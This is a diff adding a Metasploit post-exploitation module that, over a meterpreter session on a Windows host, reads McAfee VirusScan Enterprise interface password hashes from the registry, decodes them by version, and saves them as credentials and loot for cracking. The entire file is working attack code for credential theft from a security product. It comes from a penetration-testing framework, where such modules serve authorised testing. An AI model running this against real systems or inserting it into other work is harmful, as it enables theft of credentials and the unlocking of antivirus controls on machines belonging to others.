|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Post |
| 9 | + include Msf::Post::Windows::Registry |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::Post::Windows::UserProfiles |
| 12 | + |
| 13 | + VERSION_5 = Gem::Version.new('5.0') |
| 14 | + VERSION_6 = Gem::Version.new('6.0') |
| 15 | + VERSION_8 = Gem::Version.new('8.0') |
| 16 | + VERSION_9 = Gem::Version.new('9.0') |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(update_info( |
| 20 | + info, |
| 21 | + 'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump', |
| 22 | + 'Description' => %q( |
| 23 | + This module extracts the password hash from McAfee Virus Scan |
| 24 | + Enterprise (VSE) used to lock down the user interface. |
| 25 | + ), |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => [ |
| 28 | + 'Mike Manzotti <mike.manzotti[at]dionach.com>', # Metasploit module |
| 29 | + 'Maurizio inode Agazzini' # original research |
| 30 | + ], |
| 31 | + 'References' => [ |
| 32 | + ['URL', 'https://www.dionach.com/blog/disabling-mcafee-on-access-scanning'] |
| 33 | + ], |
| 34 | + 'Platform' => [ 'win' ], |
| 35 | + 'SessionTypes' => [ 'meterpreter' ] |
| 36 | + )) |
| 37 | + end |
| 38 | + |
| 39 | + def run |
| 40 | + print_status("Looking for McAfee VSE password hashes on #{sysinfo['Computer']} ...") |
| 41 | + |
| 42 | + vse_keys = enum_vse_keys |
| 43 | + if vse_keys.empty? |
| 44 | + vprint_error("McAfee VSE not installed or insufficient permissions") |
| 45 | + return |
| 46 | + end |
| 47 | + |
| 48 | + hashes_and_versions = extract_hashes_and_versions(vse_keys) |
| 49 | + if hashes_and_versions.empty? |
| 50 | + vprint_error("No McAfee VSE hashes extracted") |
| 51 | + return |
| 52 | + end |
| 53 | + process_hashes_and_versions(hashes_and_versions) |
| 54 | + end |
| 55 | + |
| 56 | + def enum_vse_keys |
| 57 | + vprint_status('Enumerating McAfee VSE installations') |
| 58 | + keys = [] |
| 59 | + [ |
| 60 | + 'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection', # 64-bit |
| 61 | + 'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit |
| 62 | + ].each do |key| |
| 63 | + subkeys = registry_enumkeys(key) |
| 64 | + keys << key unless subkeys.nil? |
| 65 | + end |
| 66 | + keys |
| 67 | + end |
| 68 | + |
| 69 | + def extract_hashes_and_versions(keys) |
| 70 | + vprint_status("Attempting to extract hashes from #{keys.size} McAfee VSE installations") |
| 71 | + hash_map = {} |
| 72 | + keys.each do |key| |
| 73 | + hash = registry_getvaldata(key, "UIPEx") |
| 74 | + if hash.empty? |
| 75 | + vprint_error("No McAfee VSE password hash found in #{key}") |
| 76 | + next |
| 77 | + end |
| 78 | + |
| 79 | + version = registry_getvaldata(key, "szProductVer") |
| 80 | + if version.empty? |
| 81 | + vprint_error("No McAfee VSE version key found in #{key}") |
| 82 | + next |
| 83 | + end |
| 84 | + hash_map[hash] = Gem::Version.new(version) |
| 85 | + end |
| 86 | + hash_map |
| 87 | + end |
| 88 | + |
| 89 | + def process_hashes_and_versions(hashes_and_versions) |
| 90 | + hashes_and_versions.each do |hash, version| |
| 91 | + if version >= VERSION_5 && version < VERSION_6 |
| 92 | + hashtype = 'md5u' |
| 93 | + version_name = 'v5' |
| 94 | + else |
| 95 | + # Base64 decode hash |
| 96 | + hash = Rex::Text.to_hex(Rex::Text.decode_base64(hash), "") |
| 97 | + hashtype = 'dynamic_1405' |
| 98 | + version_name = 'v8' |
| 99 | + unless version >= VERSION_8 && version < VERSION_9 |
| 100 | + print_warning("Unknown McAfee VSE version #{version} - Assuming v8") |
| 101 | + end |
| 102 | + end |
| 103 | + |
| 104 | + print_good("McAfee VSE #{version_name} (#{hashtype}) password hash: #{hash}") |
| 105 | + |
| 106 | + credential_data = { |
| 107 | + post_reference_name: refname, |
| 108 | + origin_type: :session, |
| 109 | + private_type: :nonreplayable_hash, |
| 110 | + private_data: hash, |
| 111 | + session_id: session_db_id, |
| 112 | + jtr_format: hashtype, |
| 113 | + workspace_id: myworkspace_id |
| 114 | + } |
| 115 | + |
| 116 | + create_credential(credential_data) |
| 117 | + |
| 118 | + # Store McAfee password hash as loot |
| 119 | + loot_path = store_loot('mcafee.hash', 'text/plain', session, "mcafee:#{hash}", 'mcafee_hashdump.txt', 'McAfee Password Hash') |
| 120 | + print_status("McAfee VSE password hash saved in: #{loot_path}") |
| 121 | + end |
| 122 | + end |
| 123 | +end |
0 commit comments